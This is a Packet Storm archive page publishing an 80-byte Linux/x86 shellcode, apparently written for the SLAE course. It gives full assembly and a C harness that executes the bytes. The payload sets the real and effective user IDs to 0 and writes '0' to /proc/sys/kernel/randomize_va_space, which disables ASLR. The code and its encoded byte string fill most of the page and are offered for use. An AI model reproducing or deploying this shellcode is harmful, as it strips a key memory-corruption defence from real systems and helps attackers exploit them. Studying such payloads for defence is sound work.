the original cloud security

Linux/x86 Disable ASLR Shellcode

Linux/x86 Disable ASLR Shellcode
Posted May 8, 2017
Authored by abatchy17

80 bytes small Linux/x86 disable ASLR shellcode.

tags | x86, shellcode
systems | linux
MD5 | 4e2115dbb3d9dd41fbb9cd0bccfd4b09

Linux/x86 Disable ASLR Shellcode

Change Mirror Download
/*
Linux/x86
setuid-disable-aslr.c by @abatchy17 - abatchy.com
Shellcode size: 80 bytes
SLAE-885

section .text
global _start

_start:

;
; setruid(0,0)
;
xor ecx,ecx
mov ebx,ecx
push 0x46
pop eax
int 0x80

;
; open("/proc/sys/kernel/randomize_va_spaceX", O_RDWR)
;
xor eax,eax ; EAX = 0
jmp aslr_file
shellcode:
pop ebx ; EBX now points to '/proc/sys/kernel/randomize_va_space'
mov byte [ebx + 35],al
push byte 5
pop eax
push byte 2
pop ecx
int 80h

;
; write(fd, '0', 1)
;
xchg eax, ebx ; One byte less than mov ebx, eax
push byte 4
pop eax
xchg ecx, edx ; ECX already contains 2
dec edx
push byte 0x30
mov ecx, esp ; ECX now points to "0"
int 80h ; EAX will now contains 1

;
; exit(0)
;
int 80h ; Yep, that's it

aslr_file:
call shellcode ; Skips the filename and avoids using JMP
db '/proc/sys/kernel/randomize_va_space'
*/

#include <stdio.h>
#include <string.h>

unsigned char sc[] = "\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x31\xc0\xeb\x1b\x5b\x88\x43\x23\x6a\x05\x58\x6a\x02\x59\xcd\x80\x93\x6a\x04\x58\x87\xca\x4a\x6a\x30\x89\xe1\xcd\x80\xcd\x80\xe8\xe0\xff\xff\xff\x2f\x70\x72\x6f\x63\x2f\x73\x79\x73\x2f\x6b\x65\x72\x6e\x65\x6c\x2f\x72\x61\x6e\x64\x6f\x6d\x69\x7a\x65\x5f\x76\x61\x5f\x73\x70\x61\x63\x65";

int main()
{
printf("Shellcode size: %d\n", strlen(sc));
int (*ret)() = (int(*)())sc;
ret();
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

October 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    15 Files
  • 2
    Oct 2nd
    16 Files
  • 3
    Oct 3rd
    15 Files
  • 4
    Oct 4th
    15 Files
  • 5
    Oct 5th
    11 Files
  • 6
    Oct 6th
    6 Files
  • 7
    Oct 7th
    2 Files
  • 8
    Oct 8th
    1 Files
  • 9
    Oct 9th
    13 Files
  • 10
    Oct 10th
    16 Files
  • 11
    Oct 11th
    15 Files
  • 12
    Oct 12th
    23 Files
  • 13
    Oct 13th
    13 Files
  • 14
    Oct 14th
    12 Files
  • 15
    Oct 15th
    2 Files
  • 16
    Oct 16th
    16 Files
  • 17
    Oct 17th
    16 Files
  • 18
    Oct 18th
    15 Files
  • 19
    Oct 19th
    10 Files
  • 20
    Oct 20th
    7 Files
  • 21
    Oct 21st
    4 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close